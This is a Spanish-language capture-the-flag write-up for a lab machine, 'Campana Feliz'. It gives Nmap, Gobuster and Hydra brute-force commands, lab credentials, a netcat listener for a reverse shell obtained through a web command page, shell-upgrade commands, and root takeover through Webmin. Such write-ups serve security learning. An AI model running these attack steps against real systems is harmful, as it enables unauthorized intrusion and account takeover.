Campana Feliz


🎯 Resolución

🔍 Reconocimiento

🔎 Realizamos un escaneo exhaustivo con Nmap para identificar puertos abiertos y servicios en la máquina objetivo:

nmap -p- --open -sS -sC -sV --min-rate 2000 -n -vvv -Pn 192.168.1.119

Pasted image 20250107184524.png
👀 Detectamos los siguientes servicios activos:


🕵️‍♂️ Análisis de vulnerabilidades

🌐 Al acceder a la página HTTP, encontramos una página vacía.
Pasted image 20250107184714.png
🧩 Usamos CyberChef para decodificar el contenido Base64 oculto, obteniendo pistas importantes que pueden relacionarse con credenciales o nombres.
Pasted image 20250107184912.png
Gracias a la herramienta online CyberChef nos decodifica
Pasted image 20250107185103.png
🔍 Para descubrir directorios ocultos, ejecutamos un escaneo con Gobuster buscando archivos .md, .php y .txt:

  gobuster dir \
  -u http://192.168.1.119:8088/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x md,php,txt

La decodificación anterior nos dio una pista, y comenzamos a suponer que una de las letras podría ser parte de la contraseña o del nombre de usuario.

Para probar esta teoría, agregamos todas las palabras decodificadas a un archivo txt y verificamos si alguno de esos términos coincide con un posible nombre de usuario o contraseña:
Pasted image 20250107191612.png


🎯 Explotación

⚔️ Asumiendo que el usuario es campana (por contexto del CTF), realizamos un ataque de fuerza bruta sobre la contraseña con Hydra:

hydra -l campana -P /usr/share/wordlists/rockyou.txt 192.168.1.119 -s 8088 http-post-form "/shell.php:username=^USER^&password=^PASS^:Username or password invalid"  


Pasted image 20250107193037.png
✅ Credenciales encontradas:
Usuario: campana
Contraseña: lovely

Iniciamos sesión en la página web http://192.168.1.119:8088/shell.php con las credenciales que hemos encontrado anteriormente. La página indica que podemos ejecutar comandos y, dado que su nombre incluye "shell", decidimos intentar obtener una reverse shell.

Para ello, accedemos a la herramienta en línea ReverseShells, configuramos nuestra IP de atacante y seleccionamos un puerto cualquiera para escuchar conexiones entrantes.

En la máquina atacante, configuramos Netcat para escuchar en el puerto elegido:

nc -lvnp 6969

Luego, copiamos el comando de reverse shell generado por la herramienta y lo ejecutamos desde la página web. Esto nos permite obtener acceso a la máquina víctima.
Pasted image 20250108182850.png

De esta manera, establecemos una conexión de reverse shell y obtenemos acceso a la máquina objetivo.
Pasted image 20250108182941.png
Para mejorar la experiencia y obtener una terminal más funcional, ejecutamos los siguientes comandos

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115

Con estos ajustes, tenemos una terminal más funcional y cómoda, lo que nos prepara para continuar con la escalada de privilegios.


📈 Escalada de privilegios

Durante nuestra exploración de los directorios en la máquina objetivo, encontramos un archivo txt en el directorio /opt. Dentro del archivo, había un usuario y una contraseña, junto con una URL que apuntaba al puerto 10000:
https://<IP>:10000.
Pasted image 20250108183403.png
En Webmin, navegamos a la sección System/Change Password. Desde ahí, aprovechamos las funcionalidades del sistema para cambiar la contraseña de root.

Una vez que establecimos una nueva contraseña, procedimos a convertirnos en root utilizando el siguiente comando y la contraseña recién configurada:

su root
¡Ya somos root!

Pasted image 20250108184057.png